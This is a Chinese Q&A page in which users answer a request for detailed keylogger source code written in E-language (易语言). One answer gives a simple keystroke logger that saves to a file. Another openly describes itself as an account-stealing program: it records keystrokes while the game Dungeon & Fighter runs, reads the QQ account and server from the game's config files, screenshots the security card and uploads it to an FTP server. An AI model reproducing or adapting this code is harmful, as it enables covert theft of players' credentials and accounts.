Question

易语言编写键盘记录器 源码 说的详细点

Answer 1

.版本 2

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

SkinH_Attach ()

编辑框1.禁止 ＝ 真

停止按钮.禁止 ＝ 真

信息框 (“欢迎使用小天键盘记录系统，在关闭此记录系统后，会自动保存记录的内容到运行目录！”, #信息图标, “欢迎使用！”)

.子程序 _停止按钮_被单击

开始按钮.禁止 ＝ 假

编辑框1.禁止 ＝ 真

时钟1.时钟周期 ＝ 0

停止按钮.禁止 ＝ 真

.子程序 _开始按钮_被单击

开始按钮.禁止 ＝ 真

编辑框1.禁止 ＝ 假

时钟1.时钟周期 ＝ 50

停止按钮.禁止 ＝ 假

.子程序 _时钟1_周期事件

编辑框1.加入文本 (看看按键 ())

.子程序 _按钮1_被单击

编辑框1.内容 ＝ “ ”

.子程序 __启动窗口_可否被关闭, 逻辑型

写到文件 (取运行目录 () ＋ “\记录内容.txt”, 到字节集 (编辑框1.内容))

销毁 ()

.子程序 _按钮2_被单击

删除文件 (取运行目录 () ＋ “\记录内容.txt”)

Answer 2

我这个是是盗号程序的源代码有记录键盘的，自己看吧。要一个 键盘记录_模块.ec   易语言的控件有一个编辑框，2个按钮，3个时钟！！3个时钟的名字要改一下“判断开始记录”  “记录键盘”  “结束检查时钟”

 

.版本 2
.程序集 窗口程序集1
.程序集变量 数组, 文本型, , "0"
.程序集变量 记事本, 文本型
.程序集变量 记录文本, 文本型
.程序集变量 账号信息, 文本型
.程序集变量 文件名, 文本型
.程序集变量 FTP路径, 文本型
.程序集变量 路径, 文本型
.子程序 _按钮2_被单击
判断开始记录.时钟周期 ＝ 1000
记录键盘.时钟周期 ＝ 0
结束检查时钟.时钟周期 ＝ 0
.子程序 _判断开始记录_周期事件
.子程序 _记录键盘_周期事件
记录文本 ＝ 记事本 ＋ 获得按键 ()
.子程序 __周期事结束检查时钟_周期事件
.局部变量 a, 整数型
a ＝ 0
数组=取所有窗口列表()
.计次循环首 (取数组成员数 (数组),已经运行)
    .如果(寻找文本(取窗口标题(到整数(数组[已经运行])),“地下城与勇士”,,真)< 0)
        a ＝ 1
    .否则
        a ＝ 0
        跳出循环 ()
    .如果结束
.计次循环尾 ()
.如果真 (a ＝ 1)
    记录键盘.时钟周期=0
    读账号信息()
    记录文本 ＝ “”
    判断开始记录.时钟周期=1000
    结束检查时钟.时钟周期=0
.如果真结束
.子程序 读账号信息
.局部变量 账号, 文本型
.局部变量 区, 文本型
区 ＝ 读配置项 (路径 ＋ “UserSetting.ini”, “ServerSelection”, “LastSelectName”, )
账号 ＝ 读配置项 (路径 ＋ “config/Info.ini”, “Public”, “LastQQUin”, )
编辑框1.内容 ＝ 区 ＋ “----” ＋ 账号 ＋ “-----” ＋ 记录文本 ＋ #换行符
.子程序 取进程路径, 文本型
.子程序 _按钮1_被单击
.局部变量 截取密保卡, 字节型
截取密保卡 ＝ 快照 (, , )
写到文件 (“D\DNF\1.jpg”, 截取密保卡)
.如果(连接FTP服务器(“FTP控件IP地址”,“FTP账号”,“FTP密码”,21,)=真)
    信息框 (“FTP服务器连接成功”, 0, )
.否则
    信息框 (“FTP服务器连接失败”, 0, )
    返回 ()
.如果结束
FTP路径=FTP取现行目录()+“/123.jpg”
.如果(FTP文件上传(“D\DNF\1.jpg”,“DNF\520.jpg”)=真)
    信息框 (“FTP文件上传成功”, 0, “恭喜”)
.否则
    信息框 (“FTP文件上传失败”, 0, “注意”)
.如果结束
断开FTP服务器()

Answer 3

源码 ：
编辑框1.加入文本 （看看按键（））
时钟1.时钟周期=50
时钟1.时钟周期=0

Answer 4

http://bbs.eyuyan.com/read.php?tid=80435